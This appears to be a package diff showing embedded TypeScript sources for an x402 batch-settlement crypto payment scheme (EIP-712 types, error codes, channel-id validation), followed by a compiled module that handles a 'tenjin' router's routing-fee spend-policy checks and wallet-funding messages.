`0x${string}` {\n return toHex(getCrypto().getRandomValues(new Uint8Array(32)));\n}\n\n/**\n * Creates a random 256-bit nonce for Permit2.\n * Permit2 uses uint256 nonces (not bytes32 like EIP-3009).\n *\n * @returns A string representation of the random nonce\n */\nexport function createPermit2Nonce(): string {\n const randomBytes = getCrypto().getRandomValues(new Uint8Array(32));\n return BigInt(toHex(randomBytes)).toString();\n}\n\n/** Matches the truncation length used by the Go and Python SDKs. */\nexport const MAX_ERROR_MESSAGE_LENGTH = 500;\n\n/**\n * Bounds raw error text (e.g. from an RPC client) before it is placed in a settle/verify\n * errorMessage. RPC/transport errors can carry node URLs, request bodies, or other verbose\n * data that should not be echoed to callers unbounded.\n *\n * @param message - Raw error text to bound.\n * @returns `message`, truncated to {@link MAX_ERROR_MESSAGE_LENGTH} characters.\n */\nexport function truncateErrorMessage(message: string): string {\n return message.slice(0, MAX_ERROR_MESSAGE_LENGTH);\n}\n\n/**\n * Last hash from a two-request extension-signer broadcast (e.g. approve + settle/deposit).\n * Conforming signers return one hash (atomic bundle) or two (sequential); any other\n * count means a partial execution.\n *\n * @param txHashes - Hashes returned by the signer for the two-request broadcast\n * @returns The final transaction hash, or undefined if the hash count is invalid\n */\nexport function finalHashFromTwoRequestSend<T extends string>(\n txHashes: readonly T[],\n): T | undefined {\n if (txHashes.length !== 1 && txHashes.length !== 2) {\n return undefined;\n }\n return txHashes[txHashes.length - 1];\n}\n\n/**\n * Checks that a signer-supplied transaction hash is usable for a receipt wait. The all-zero\n * hash is rejected because it reconciles to nothing, so a signer reporting success with a\n * placeholder fails terminally instead of as settlement_pending.\n *\n * @param hash - Transaction hash returned by the signer\n * @returns True if the hash is a well-formed, non-zero 32-byte hash\n */\nexport function isValidTxHash(hash: string): boolean {\n return isHash(hash) && !/^0x0+$/.test(hash);\n}\n\n/**\n * Terminal failure when a signer reports success without a usable transaction hash.\n *\n * @param tx - Value returned in place of a valid transaction hash\n * @param errorReason - Scheme/action-specific terminal error reason\n * @param network - Network the transaction was broadcast to\n * @param payer - Payer address, when known\n * @returns Failed {@link SettleResponse} with no transaction hash\n */\nexport function invalidBroadcastHashResponse(\n tx: unknown,\n errorReason: string,\n network: Network,\n payer?: string,\n): SettleResponse {\n return {\n success: false,\n errorReason,\n errorMessage: `signer returned an invalid transaction hash: ${typeof tx === \"string\" ? tx : JSON.stringify(tx)}`,\n transaction: \"\",\n network,\n payer,\n };\n}\n","import { keccak256, toBytes } from \"viem\";\n\n/** Scheme identifier for the batch-settlement payment scheme. */\nexport const BATCH_SETTLEMENT_SCHEME = \"batch-settlement\" as const;\n\n/** Deployed address of the x402BatchSettlement contract. */\nexport const BATCH_SETTLEMENT_ADDRESS = \"0x4020074e9dF2ce1deE5A9C1b5c3f541D02a10003\" as const;\n\n/** Deployed address of the ERC3009DepositCollector contract. */\nexport const ERC3009_DEPOSIT_COLLECTOR_ADDRESS =\n \"0x4020806089470a89826cB9fB1f4059150b550004\" as const;\n\n/** Deployed address of the Permit2DepositCollector contract. */\nexport const PERMIT2_DEPOSIT_COLLECTOR_ADDRESS =\n \"0x4020425FAf3B746C082C2f942b4E5159887B0005\" as const;\n\n/**\n * Bounds for the post-transaction channel-state polling loops in refund.ts and\n * deposit.ts, which re-read onchain state until it reflects a just-confirmed\n * change (a pending-withdrawal cancellation or a deposit balance increase).\n * Shared so both call sites stay in lockstep.\n */\nexport const CHANNEL_STATE_POLL_MS = 2_000;\nexport const CHANNEL_STATE_POLL_INTERVAL_MS = 150;\n\n/** Default server SDK multiplier for `extra.minDeposit` when no floor is configured. */\nexport const DEFAULT_SERVER_MIN_DEPOSIT_MULTIPLIER = 10;\n\n/** Minimum withdraw delay in seconds (15 minutes), matching the onchain constant. */\nexport const MIN_WITHDRAW_DELAY = 900;\n\n/** Maximum withdraw delay in seconds (30 days), matching the onchain constant. */\nexport const MAX_WITHDRAW_DELAY = 2_592_000;\n\n/** EIP-712 domain fields shared across all batch-settlement typed-data signatures. */\nexport const BATCH_SETTLEMENT_DOMAIN = {\n name: \"x402 Batch Settlement\",\n version: \"1\",\n} as const;\n\n/** EIP-712 type hash for channel identity. */\nexport const CHANNEL_CONFIG_TYPEHASH = keccak256(\n toBytes(\n \"ChannelConfig(address payer,address payerAuthorizer,address receiver,address receiverAuthorizer,address token,uint40 withdrawDelay,bytes32 salt)\",\n ),\n);\n\n/** EIP-712 type definition for a channel configuration. */\nexport const channelConfigTypes = {\n ChannelConfig: [\n { name: \"payer\", type: \"address\" },\n { name: \"payerAuthorizer\", type: \"address\" },\n { name: \"receiver\", type: \"address\" },\n { name: \"receiverAuthorizer\", type: \"address\" },\n { name: \"token\", type: \"address\" },\n { name: \"withdrawDelay\", type: \"uint40\" },\n { name: \"salt\", type: \"bytes32\" },\n ],\n} as const;\n\n/** EIP-712 type definition for a cumulative voucher: `Voucher(bytes32 channelId, uint128 maxClaimableAmount)`. */\nexport const voucherTypes = {\n Voucher: [\n { name: \"channelId\", type: \"bytes32\" },\n { name: \"maxClaimableAmount\", type: \"uint128\" },\n ],\n} as const;\n\n/** EIP-712 type definition for cooperative refund: `Refund(bytes32 channelId, uint256 nonce, uint128 amount)`. */\nexport const refundTypes = {\n Refund: [\n { name: \"channelId\", type: \"bytes32\" },\n { name: \"nonce\", type: \"uint256\" },\n { name: \"amount\", type: \"uint128\" },\n ],\n} as const;\n\n/** EIP-712 type definitions for a receiver-authorizer claim batch (nested ClaimEntry). */\nexport const claimBatchTypes = {\n ClaimBatch: [{ name: \"claims\", type: \"ClaimEntry[]\" }],\n ClaimEntry: [\n { name: \"channelId\", type: \"bytes32\" },\n { name: \"maxClaimableAmount\", type: \"uint128\" },\n { name: \"totalClaimed\", type: \"uint128\" },\n ],\n} as const;\n\n/** EIP-712 type definition for ERC-3009 `ReceiveWithAuthorization` (used for gasless deposits). */\nexport const receiveAuthorizationTypes = {\n ReceiveWithAuthorization: [\n { name: \"from\", type: \"address\" },\n { name: \"to\", type: \"address\" },\n { name: \"value\", type: \"uint256\" },\n { name: \"validAfter\", type: \"uint256\" },\n { name: \"validBefore\", type: \"uint256\" },\n { name: \"nonce\", type: \"bytes32\" },\n ],\n} as const;\n\n/** Permit2 typed data for channel-bound batch deposits. */\nexport const batchPermit2WitnessTypes = {\n PermitWitnessTransferFrom: [\n { name: \"permitted\", type: \"TokenPermissions\" },\n { name: \"spender\", type: \"address\" },\n { name: \"nonce\", type: \"uint256\" },\n { name: \"deadline\", type: \"uint256\" },\n { name: \"witness\", type: \"DepositWitness\" },\n ],\n TokenPermissions: [\n { name: \"token\", type: \"address\" },\n { name: \"amount\", type: \"uint256\" },\n ],\n DepositWitness: [{ name: \"channelId\", type: \"bytes32\" }],\n} as const;\n","/** Error codes for the batch-settlement EVM scheme (see scheme_batch_settlement_evm2.md). */\n\nexport const ErrChannelNotFound = \"invalid_batch_settlement_evm_channel_not_found\";\nexport const ErrTokenMismatch = \"invalid_batch_settlement_evm_token_mismatch\";\nexport const ErrInvalidVoucherSignature = \"invalid_batch_settlement_evm_voucher_signature\";\nexport const ErrCumulativeExceedsBalance =\n \"invalid_batch_settlement_evm_cumulative_exceeds_balance\";\nexport const ErrCumulativeAmountBelowClaimed =\n \"invalid_batch_settlement_evm_cumulative_below_claimed\";\nexport const ErrInsufficientBalance = \"invalid_batch_settlement_evm_insufficient_balance\";\nexport const ErrDepositTransactionFailed =\n \"invalid_batch_settlement_evm_deposit_transaction_failed\";\nexport const ErrClaimTransactionFailed = \"invalid_batch_settlement_evm_claim_transaction_failed\";\nexport const ErrSettleTransactionFailed = \"invalid_batch_settlement_evm_settle_transaction_failed\";\nexport const ErrInvalidScheme = \"invalid_batch_settlement_evm_scheme\";\nexport const ErrNetworkMismatch = \"invalid_batch_settlement_evm_network_mismatch\";\nexport const ErrMissingEip712Domain = \"invalid_batch_settlement_evm_missing_eip712_domain\";\nexport const ErrValidBeforeExpired =\n \"invalid_batch_settlement_evm_payload_authorization_valid_before\";\nexport const ErrValidAfterInFuture =\n \"invalid_batch_settlement_evm_payload_authorization_valid_after\";\nexport const ErrInvalidReceiveAuthorizationSignature =\n \"invalid_batch_settlement_evm_receive_authorization_signature\";\nexport const ErrErc3009AuthorizationRequired =\n \"invalid_batch_settlement_evm_erc3009_authorization_required\";\nexport const ErrRefundTransactionFailed = \"invalid_batch_settlement_evm_refund_transaction_failed\";\nexport const ErrInvalidPayloadType = \"invalid_batch_settlement_evm_payload_type\";\nexport const ErrWithdrawDelayOutOfRange =\n \"invalid_batch_settlement_evm_withdraw_delay_out_of_range\";\nexport const ErrChannelIdMismatch = \"invalid_batch_settlement_evm_channel_id_mismatch\";\nexport const ErrInvalidChannelId = \"invalid_batch_settlement_evm_channel_id_invalid\";\nexport const ErrReceiverMismatch = \"invalid_batch_settlement_evm_receiver_mismatch\";\nexport const ErrReceiverAuthorizerMismatch =\n \"invalid_batch_settlement_evm_receiver_authorizer_mismatch\";\nexport const ErrWithdrawDelayMismatch = \"invalid_batch_settlement_evm_withdraw_delay_mismatch\";\nexport const ErrAuthorizerAddressMismatch =\n \"invalid_batch_settlement_evm_authorizer_address_mismatch\";\nexport const ErrAuthorizerNotConfigured = \"invalid_batch_settlement_evm_authorizer_not_configured\";\nexport const ErrDepositSimulationFailed = \"invalid_batch_settlement_evm_deposit_simulation_failed\";\nexport const ErrDepositBelowMinDeposit = \"invalid_batch_settlement_evm_deposit_below_min_deposit\";\n\n// ERC-6492 counterfactual deployment errors (ERC-3009 deposit path). Wire values keep the\n// scheme prefix to match the rest of this module's contract.\nexport const ErrFactoryNotAllowed = \"invalid_batch_settlement_evm_eip6492_factory_not_allowed\";\nexport const ErrSmartWalletDeploymentFailed =\n \"invalid_batch_settlement_evm_smart_wallet_deployment_failed\";\nexport const ErrClaimSimulationFailed = \"invalid_batch_settlement_evm_claim_simulation_failed\";\nexport const ErrSettleSimulationFailed = \"invalid_batch_settlement_evm_settle_simulation_failed\";\nexport const ErrNothingToSettle = \"invalid_batch_settlement_evm_nothing_to_settle\";\nexport const ErrRefundPayload = \"invalid_batch_settlement_evm_refund_payload\";\nexport const ErrRefundSimulationFailed = \"invalid_batch_settlement_evm_refund_simulation_failed\";\nexport const ErrRpcReadFailed = \"invalid_batch_settlement_evm_rpc_read_failed\";\nexport const ErrPermit2AuthorizationRequired =\n \"invalid_batch_settlement_evm_permit2_authorization_required\";\nexport const ErrPermit2InvalidSpender = \"invalid_batch_settlement_evm_permit2_invalid_spender\";\nexport const ErrPermit2AmountMismatch = \"invalid_batch_settlement_evm_permit2_amount_mismatch\";\nexport const ErrPermit2DeadlineExpired = \"invalid_batch_settlement_evm_permit2_deadline_expired\";\nexport const ErrPermit2InvalidSignature = \"invalid_batch_settlement_evm_permit2_invalid_signature\";\nexport const ErrPermit2AllowanceRequired =\n \"invalid_batch_settlement_evm_permit2_allowance_required\";\nexport const ErrEip2612AmountMismatch = \"invalid_batch_settlement_evm_eip2612_amount_mismatch\";\nexport const ErrEip2612OwnerMismatch = \"invalid_batch_settlement_evm_eip2612_owner_mismatch\";\nexport const ErrEip2612AssetMismatch = \"invalid_batch_settlement_evm_eip2612_asset_mismatch\";\nexport const ErrEip2612SpenderMismatch = \"invalid_batch_settlement_evm_eip2612_spender_mismatch\";\nexport const ErrEip2612DeadlineExpired = \"invalid_batch_settlement_evm_eip2612_deadline_expired\";\nexport const ErrErc20ApprovalUnavailable =\n \"invalid_batch_settlement_evm_erc20_approval_unavailable\";\n\n/** Resource server: 402 `error` and lifecycle `reason` (same strings as the spec). */\nexport const ErrCumulativeAmountMismatch =\n \"invalid_batch_settlement_evm_cumulative_amount_mismatch\";\nexport const ErrChannelBusy = \"invalid_batch_settlement_evm_channel_busy\";\nexport const ErrVerificationStateUnavailable =\n \"invalid_batch_settlement_evm_verification_state_unavailable\";\nexport const ErrChargeExceedsSignedCumulative =\n \"invalid_batch_settlement_evm_charge_exceeds_signed_cumulative\";\nexport const ErrMissingChannel = \"invalid_batch_settlement_evm_missing_channel\";\nexport const ErrRefundNoBalance = \"invalid_batch_settlement_evm_refund_no_balance\";\nexport const ErrRefundAmountInvalid = \"invalid_batch_settlement_evm_refund_amount_invalid\";\n","import { getAddress, hashTypedData } from \"viem\";\nimport { BATCH_SETTLEMENT_ADDRESS, BATCH_SETTLEMENT_DOMAIN, channelConfigTypes } from \"./constants\";\nimport { ErrChannelIdMismatch, ErrInvalidChannelId } from \"./errors\";\nimport type { ChannelConfig } from \"./types\";\nimport { getEvmChainId } from \"../utils\";\n\n/** Canonical `bytes32` channel id: `0x` followed by exactly 64 hex digits. */\nconst CHANNEL_ID_RE = /^0x[0-9a-fA-F]{64}$/;\n\n/**\n * Narrows an untrusted value to a canonical `bytes32` channel id string.\n *\n * @param value - The value to test.\n * @returns `true` when `value` is a `0x`-prefixed 64-hex-digit string.\n */\nexport function isCanonicalChannelId(value: unknown): value is `0x${string}` {\n return typeof value === \"string\" && CHANNEL_ID_RE.test(value);\n}\n\n/**\n * Validates canonical `bytes32` form and normalizes to lowercase.\n *\n * @param channelId - Untrusted channel identifier from a request payload.\n * @returns The lowercased channel id.\n * @throws When `channelId` is not a canonical `bytes32` string. The message is generic\n * so untrusted input is never echoed into logs.\n */\nexport function normalizeChannelId(channelId: string): `0x${string}` {\n if (!isCanonicalChannelId(channelId)) {\n throw new Error(ErrInvalidChannelId);\n }\n return channelId.toLowerCase() as `0x${string}`;\n}\n\n/**\n * Binds a claimed channel id to a channel config and network.\n *\n * @param config - The immutable channel configuration from the payload.\n * @param claimedChannelId - The channel id the client claims the config resolves to.\n * @param networkOrChainId - CAIP-2 network identifier or numeric EVM chain id.\n * @returns An error code when the id is malformed or does not match the config, else `undefined`.\n */\nexport function channelIdBindingError(\n config: ChannelConfig,\n claimedChannelId: string,\n networkOrChainId: string | number,\n): string | undefined {\n if (!isCanonicalChannelId(claimedChannelId)) return ErrInvalidChannelId;\n if (computeChannelId(config, networkOrChainId).toLowerCase() !== claimedChannelId.toLowerCase()) {\n return ErrChannelIdMismatch;\n }\n return undefined;\n}\n\n/**\n * Computes the chain-bound channel id from a {@link ChannelConfig} struct.\n *\n * @param config - The immutable channel configuration.\n * @param networkOrChainId - CAIP-2 network identifier or numeric EVM chain id.\n * @returns The `bytes32` channel id as a hex string.\n */\nexport function computeChannelId(\n config: ChannelConfig,\n networkOrChainId: string | number,\n): `0x${string}` {\n const chainId =\n typeof networkOrChainId === \"number\" ? networkOrChainId : getEvmChainId(networkOrChainId);\n return hashTypedData({\n domain: getBatchSettlementEip712Domain(chainId),\n types: channelConfigTypes,\n primaryType: \"ChannelConfig\",\n message: {\n payer: config.payer,\n payerAuthorizer: config.payerAuthorizer,\n receiver: config.receiver,\n receiverAuthorizer: config.receiverAuthorizer,\n token: config.token,\n withdrawDelay: config.withdrawDelay,\n salt: config.salt,\n },\n });\n}\n\n/**\n * Returns the full EIP-712 domain for the batch-settlement contract on the given chain.\n *\n * @param chainId - Numeric EVM chain id.\n * @returns EIP-712 domain with `name`, `version`, `chainId`, and checksummed `verifyingContract`.\n */\nexport function getBatchSettlementEip712Domain(chainId: number) {\n return {\n ...BATCH_SETTLEMENT_DOMAIN,\n chainId,\n verifyingContract: getAddress(BATCH_SETTLEMENT_ADDRESS),\n } as const;\n}\n"],"mappings":";;;;;;;;;;;;AAIA,IAAM,uBAAuB;AAStB,SAAS,cAAc,SAAyB;AACrD,MAAI,CAAC,QAAQ,WAAW,SAAS,GAAG;AAClC,UAAM,IAAI,MAAM,+BAA+B,OAAO,6BAA6B;EACrF;AAEA,QAAM,QAAQ,qBAAqB,KAAK,OAAO;AAC/C,MAAI,CAAC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,MAAM,OAAO;IACf;EACF,CAAC;AACH;AAQO,SAAS,+BAA+B,SAAiB;AAC9D,SAAO;IACL,GAAG;IACH;IACA,mBAAmB,WAAW,wBAAwB;EACxD;AACF;","names":[]}
|
|
@@ -0,0 +1,145 @@
|
|
|
1
|
+
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
|
+
import {
|
|
3
|
+
evaluateSpendPolicy
|
|
4
|
+
} from "./chunk-XMIVHQ35.js";
|
|
5
|
+
import {
|
|
6
|
+
hasCode
|
|
7
|
+
} from "./chunk-2I4QTOLB.js";
|
|
8
|
+
import {
|
|
9
|
+
formatUsdDisplay
|
|
10
|
+
} from "./chunk-XICKN3CH.js";
|
|
11
|
+
|
|
12
|
+
// src/router/fee.ts
|
|
13
|
+
import { createHash } from "node:crypto";
|
|
14
|
+
import { mkdir, open, readFile, readdir, rm } from "node:fs/promises";
|
|
15
|
+
import { join } from "node:path";
|
|
16
|
+
var ROUTE_PAID_PATH = "/api/x402-router/route";
|
|
17
|
+
var ROUTING_FEE_ATOMIC = 3000n;
|
|
18
|
+
var CHANNEL_DEPOSIT_ATOMIC = 250000n;
|
|
19
|
+
var MIN_DEPOSIT_ATOMIC = 10n * ROUTING_FEE_ATOMIC;
|
|
20
|
+
var REFUSED = {
|
|
21
|
+
not_allowlisted: "not_allowlisted",
|
|
22
|
+
session_budget_exceeded: "budget_reached",
|
|
23
|
+
above_auto_spend: "limit_below_deposit"
|
|
24
|
+
};
|
|
25
|
+
function refusedWhy(reason) {
|
|
26
|
+
return REFUSED[reason] ?? reason;
|
|
27
|
+
}
|
|
28
|
+
function feeRefusal(policy, host) {
|
|
29
|
+
const evaluation = evaluateSpendPolicy(
|
|
30
|
+
{ ...policy, sessionBudgetAtomic: policy.sessionBudgetAtomic === 0n ? 0n : null },
|
|
31
|
+
{ mode: "automatic", amountAtomic: ROUTING_FEE_ATOMIC, creator: host, sessionSpentAtomic: 0n }
|
|
32
|
+
);
|
|
33
|
+
return evaluation.decision === "allow" ? null : refusedWhy(evaluation.reason);
|
|
34
|
+
}
|
|
35
|
+
var FEE_REQUIRED = "fee_required";
|
|
36
|
+
function isFeeRequired(response) {
|
|
37
|
+
const decision = response?.decision;
|
|
38
|
+
const diagnostics = decision?.diagnostics;
|
|
39
|
+
return decision?.action === "native" && diagnostics?.reasonCode === FEE_REQUIRED;
|
|
40
|
+
}
|
|
41
|
+
var UNPAID = {
|
|
42
|
+
wallet_low: {
|
|
43
|
+
reason: `the wallet holds less than the $${usd(CHANNEL_DEPOSIT_ATOMIC)} routing deposit`,
|
|
44
|
+
fix: `Fund it with \`tenjin wallet fund ${usd(CHANNEL_DEPOSIT_ATOMIC)}\`.`
|
|
45
|
+
},
|
|
46
|
+
wallet_locked: {
|
|
47
|
+
reason: "`tenjin mcp` cannot unlock the wallet without a prompt",
|
|
48
|
+
fix: "Set TENJIN_WALLET_PASSPHRASE in the environment Claude Code starts from, then restart Claude Code."
|
|
49
|
+
},
|
|
50
|
+
no_wallet: {
|
|
51
|
+
reason: "this machine has no wallet",
|
|
52
|
+
fix: "Run `tenjin doctor`."
|
|
53
|
+
},
|
|
54
|
+
limit_below_deposit: {
|
|
55
|
+
reason: `the per-call spend limit is below the smallest routing deposit ($${usd(MIN_DEPOSIT_ATOMIC)})`,
|
|
56
|
+
fix: "Run `tenjin doctor`."
|
|
57
|
+
},
|
|
58
|
+
budget_reached: {
|
|
59
|
+
reason: "the daily spend limit has no room left for the routing fee or its deposit",
|
|
60
|
+
fix: "Run `tenjin doctor`."
|
|
61
|
+
},
|
|
62
|
+
not_allowlisted: {
|
|
63
|
+
reason: "allowlistCreators does not include the router",
|
|
64
|
+
fix: "Run `tenjin doctor`."
|
|
65
|
+
},
|
|
66
|
+
payment_failed: {
|
|
67
|
+
reason: "the routing payment failed",
|
|
68
|
+
fix: "Run `tenjin doctor`."
|
|
69
|
+
},
|
|
70
|
+
[FEE_REQUIRED]: {
|
|
71
|
+
reason: "the router now charges it, and this session cannot pay it",
|
|
72
|
+
fix: "Run `tenjin doctor`."
|
|
73
|
+
}
|
|
74
|
+
};
|
|
75
|
+
var NO_FAULT = /* @__PURE__ */ new Set([
|
|
76
|
+
"channel_busy",
|
|
77
|
+
"paid_path_absent",
|
|
78
|
+
"busy",
|
|
79
|
+
"no_call",
|
|
80
|
+
"deadline_after_payment_sent"
|
|
81
|
+
]);
|
|
82
|
+
function unpaid(why) {
|
|
83
|
+
if (NO_FAULT.has(why)) return null;
|
|
84
|
+
return UNPAID[why] ?? UNPAID["payment_failed"];
|
|
85
|
+
}
|
|
86
|
+
function unpaidSentence(why) {
|
|
87
|
+
const u = unpaid(why);
|
|
88
|
+
if (u === null) return null;
|
|
89
|
+
return `Tenjin routing could not pay its $${usd(ROUTING_FEE_ATOMIC)} fee (${u.reason}), so calls take the free path until that is fixed. ${u.fix}`;
|
|
90
|
+
}
|
|
91
|
+
var ADDRESS_RE = /^0x[0-9a-f]{40}$/;
|
|
92
|
+
function payerDir(dataDir, payer) {
|
|
93
|
+
const name = payer.toLowerCase();
|
|
94
|
+
if (!ADDRESS_RE.test(name)) throw new Error(`not a wallet address: ${payer}`);
|
|
95
|
+
return join(dataDir, "router", "fee", name);
|
|
96
|
+
}
|
|
97
|
+
function usd(atomic) {
|
|
98
|
+
return formatUsdDisplay(atomic.toString());
|
|
99
|
+
}
|
|
100
|
+
var NOTICE_KEEP_MS = 7 * 864e5;
|
|
101
|
+
async function firstNoticeFor(dataDir, sessionId, now) {
|
|
102
|
+
const dir = join(dataDir, "router", "notices");
|
|
103
|
+
const name = createHash("sha256").update(sessionId).digest("hex").slice(0, 32);
|
|
104
|
+
const created = await createExclusive(join(dir, name), String(now));
|
|
105
|
+
if (created) {
|
|
106
|
+
for (const entry of await readdir(dir).catch(() => [])) {
|
|
107
|
+
const path = join(dir, entry);
|
|
108
|
+
const at = Number(await readFile(path, "utf8").catch(() => "NaN"));
|
|
109
|
+
if (!Number.isFinite(at) || now - at > NOTICE_KEEP_MS) await rm(path, { force: true });
|
|
110
|
+
}
|
|
111
|
+
}
|
|
112
|
+
return created;
|
|
113
|
+
}
|
|
114
|
+
async function createExclusive(path, body) {
|
|
115
|
+
try {
|
|
116
|
+
await mkdir(join(path, ".."), { recursive: true, mode: 448 });
|
|
117
|
+
const handle = await open(path, "wx", 384);
|
|
118
|
+
try {
|
|
119
|
+
await handle.writeFile(body);
|
|
120
|
+
} finally {
|
|
121
|
+
await handle.close();
|
|
122
|
+
}
|
|
123
|
+
return true;
|
|
124
|
+
} catch (err) {
|
|
125
|
+
if (hasCode(err, "EEXIST")) return false;
|
|
126
|
+
throw err;
|
|
127
|
+
}
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
export {
|
|
131
|
+
ROUTE_PAID_PATH,
|
|
132
|
+
ROUTING_FEE_ATOMIC,
|
|
133
|
+
CHANNEL_DEPOSIT_ATOMIC,
|
|
134
|
+
MIN_DEPOSIT_ATOMIC,
|
|
135
|
+
refusedWhy,
|
|
136
|
+
feeRefusal,
|
|
137
|
+
FEE_REQUIRED,
|
|
138
|
+
isFeeRequired,
|
|
139
|
+
unpaid,
|
|
140
|
+
unpaidSentence,
|
|
141
|
+
payerDir,
|
|
142
|
+
usd,
|
|
143
|
+
firstNoticeFor
|
|
144
|
+
};
|
|
145
|
+
//# sourceMappingURL=chunk-OBPZ36HG.js.map
|